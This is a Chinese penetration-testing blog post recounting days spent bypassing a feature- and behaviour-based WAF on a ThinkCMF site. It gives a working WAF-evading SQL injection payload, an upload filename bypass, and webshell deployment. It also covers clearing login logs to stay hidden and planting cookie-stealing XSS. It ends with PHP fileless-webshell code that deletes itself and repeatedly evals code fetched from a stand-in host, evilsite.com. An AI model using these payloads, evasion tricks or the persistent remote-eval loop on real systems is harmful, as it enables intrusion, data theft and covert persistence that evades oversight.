项目实战 | 与某WAF斗智斗勇的每一天
ps:师傅们阅读注意,由于做项目的时候没有花时间截图,所以文章有些许表情包。项目实战图片寥寥无几,可能食之无味,弃之可惜。希望师傅们多多谅解,有什么意见可以在公众号后台留言,勿喷。算是分享一个思路,并没有拉低公众号文章质量的意思。
0x00 前言
这里分享一个项目,目标系统漏洞百出但有一个极其nb的waf。我和它斗智斗勇每天进展一点点,最终用一周时间基本搞定。
一直认为waf这种东西只能防止无目的的攻击,在针对性的攻击面前,则只能拖延一点时间而已,并不能真正解决系统的安全问题。
现在waf广泛使用的【基于特征】的检测方式有千奇百怪的攻击手法可以绕过,而新型的【基于行为】的检测方式国内还不成熟。
这里分享的案例是国内的一个【基于特征+行为】的waf,项目没有截图,只能委屈大家看表情包脑补一下……
0x01 小试牛刀(第1天)
首先拿到手是一个app,放入模拟器抓包提取app核心域名+访问路径,注册账号在网页上登陆进行测试。
技术情况收集如下:目标系统框架thinkcmf,修复了日志泄露漏洞,中间件nginx,操作系统linux,有一个不知哪个厂商的cdn并附带waf。
随意测测各个功能和页面,thinkcmf这种大框架的安全性还是可以的,但是架不住没有安全意识的开发自己乱写代码。
很快我发现url中的一个【伪静态参数单引号报错】,目标开启了tp的sql调试模式,报错内容非常详细:有sql语句,配置文件里所有内容含盐,当前库名表名,当前用户在用户表中的所有字段和数据等。
既然已经有了数据库账户和密码(配置文件中),首先看能否绕过cdn找到真实ip直接连接,尝试很多方法未果,报错页面中其实也有ip相关信息,但是只有cdn的ip和一个内网ip。
放弃幻想开始手工注入,首先用一般的/*!50000*/混淆payload,当场被拦,后面进行模糊测试,观察了这个waf检测的特征与绕过方法如下:
(0)大小写混用、url、16进制编码无用
(1)过滤unionselect
union distinct select绕过
(2)过滤select空格
select后面的参数用引号包裹可以不加空格
(3)过滤空格from
和from挨着的那个参数用科学计数法可以不加空格
(4)过滤from空格
from{x 表名}语法绕过
(5)过滤information_schema
没能绕过,导致查不到表名列名,但还好用户表的表名和列名都在报错页面爆出来了不用查。
(6)过滤注释符/* - #
调整payload在适当的位置加括号可以不用注释
最终注出用户表数据的payload如下(联合查询,四列,2、3列回显):
https://www.example.com/a/b/c/id/1) uNiondistinct (select'1',username,password,3e0from{x user}order by 1 limit 0,1.0
然后……下班时间到了。
【今日成果】:app基本信息收集,数据库敏感信息获取,sql注入绕过waf查询用户表。
0x02 暗度陈仓(第2天)
利用sql注入查询其他用户数据,cmf框架的用户结构不像一般的框架那样分成普通用户表和管理用户表,它的管理员和普通用户都在同一个表里。
表中的用户用一个字段去区分不同角色,这样虽然获取不到表名,但我只查用户表就可以获取管理员信息。查询之后发现目标系统只有一个管理员(角色字段值为1,其余用户都是2),密码是hash加盐加密的,thinkcmf的加密方式cmd5里没有,只能自己跑彩虹表。
跑了400万个弱口令和社工密码之后没解出来……其他比较靠前的测试用户倒是解出一大堆。
【再看B站】,有cdn,ecshop,注册账户后登陆,开始测试:前台sql注入、头像上传、留言板xss、垂直越权等等……,都没有。
但是去访问发现该ip仅开了80端口,空白页面,修改hosts文件也没办法解析。真实ip还是没有找到,真奇怪。
容我先下个班慢慢想想怎么回事……
【今日成果】:用户信息收集,资产信息收集,旁站sql查询功能绕过waf操作数据库。
0x03 登堂入室(第3天)
随意翻翻数据库,在系统配置表里翻到了一串神秘的字符串,注释写着后台加密,拿去拼到url后面试一试,竟然就跳到了后台登陆界面。
后面才知道目标有个【后台地址加密】功能,不过应该不是cmf框架原版的后台地址加密(/?g=admin&upw=加密码),可能是二次开发魔改的,所以直接拼到url后面就行了。
已知后台,可以改管理员密码去登陆,但是我看了一下数据库登陆日志表,发现目标的唯一管理用户其实很多人在用,登陆频率相当高。直接改密码动作太大了。需要想另外的方法登入。
我首先尝试了一下登陆日志xss盲打,在数据库里把登陆日志的一条改为偷cookie的js。然后就在xss平台蹲守,大概一小时之后,xss平台没有任何记录,反而数据库中看到登陆日志全被管理员清掉了……弄巧成拙。
转变思路,把一个已解出密码的普通用户提权为管理员(在数据库里改一个字段),然后提前准备好清除单条登陆日志的sql句,这边后台一登陆,旁站那边立刻运行,最终依靠手速达到悄无声息登陆后台的效果。
继续硬刚,一番测试之后,发现waf基于两方面进行拦截,一检测文件后缀名,匹配到php等敏感后缀就不予放行(php2,php3等都试过了)。二检测文件内容,匹配到就不予放行(大小写混淆也试过了)。
了解了检测特征,开始一一尝试绕过,首先是后缀名,利用引号分号和换行进行混淆绕过:filename==="shell';.php"
文件内容,利用php短标签?>进行绕过。至此可以上传webshell,先传了个年久失修的原版冰蝎(非3.0),连接时被拦截,是基于流量特征的检测。当时很懒没有去改冰蝎,直接传了个大马,可用。
然后我开始翻文件,当时没想到这个waf还藏了一手,随意翻了大概半小时,突然熟悉的waf页面又出来了,大马被杀。而且我用大马藏的其他webshell也都不能访问了,杀的是一干二净。
(1)这个waf确实有自学习的功能,虽然学的慢了点(那个功能我用了接近一天)。
(2)waf狠起来连自己人都杀。
没了那个功能,就不能清理登陆日志了,登陆后台会有被发现的危险。正好此时也到了下班时间……
0x04 返璞归真(第4天)
本来打算代码审计一波,结果因为意外项目结束了……
0x05 思考
因为项目并没有完整的做完,所以我和waf之间也没分出个胜负。但后面想一想,针对waf这种基于行为检测方式和自学习功能,应该如何去绕过呢,这里有我想出的三个方法,抛砖引玉,大家也可以在留言区讨论一下。
(1)利用代理池隐蔽恶意流量。【分析】:同样是系统自带的页面,后台的sql查询功能在我用了一天之后就被杀了,但是前台的sql注入我用了四天也没见被拦。猜测waf可能有一个模型,检测正常流量和恶意流量的比例。【操作】:我上传大马后,挂一个代理池,构造大量的正常访问流量,把恶意流量混入其中,让waf以为这是一个正常页面,这样可以降低被杀的概率。
(2)加密返回报文。【分析】:waf是cdn附带的,没有部署在目标服务器上,理论上它不可能知道我到底运行了什么命令,所谓基于行为其实应该是基于返回包的内容的特征匹配。【操作】:那么我只要改一改冰蝎就好了,去掉流量特征,返回包全加密,waf就不知道我到底做了什么。
(3)php无文件木马。【分析】:利用php的无文件木马,上传一个运行后会删除自己的脚本,它会驻留在内存中运行,脚本内容是一个死循环,隔一段时间运行一下远程vps上的代码,这种没有文件落地的webshell想必waf也没办法去拦截。
【操作】:
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
$remote_file ='http://www.evilsite.com/eval.txt';
while($code =file_get_contents($remote_file)){
@eval($code);
sleep(5);
};
?>
0x06 后记
END.
欢迎转发~
欢迎关注~
欢迎点赞~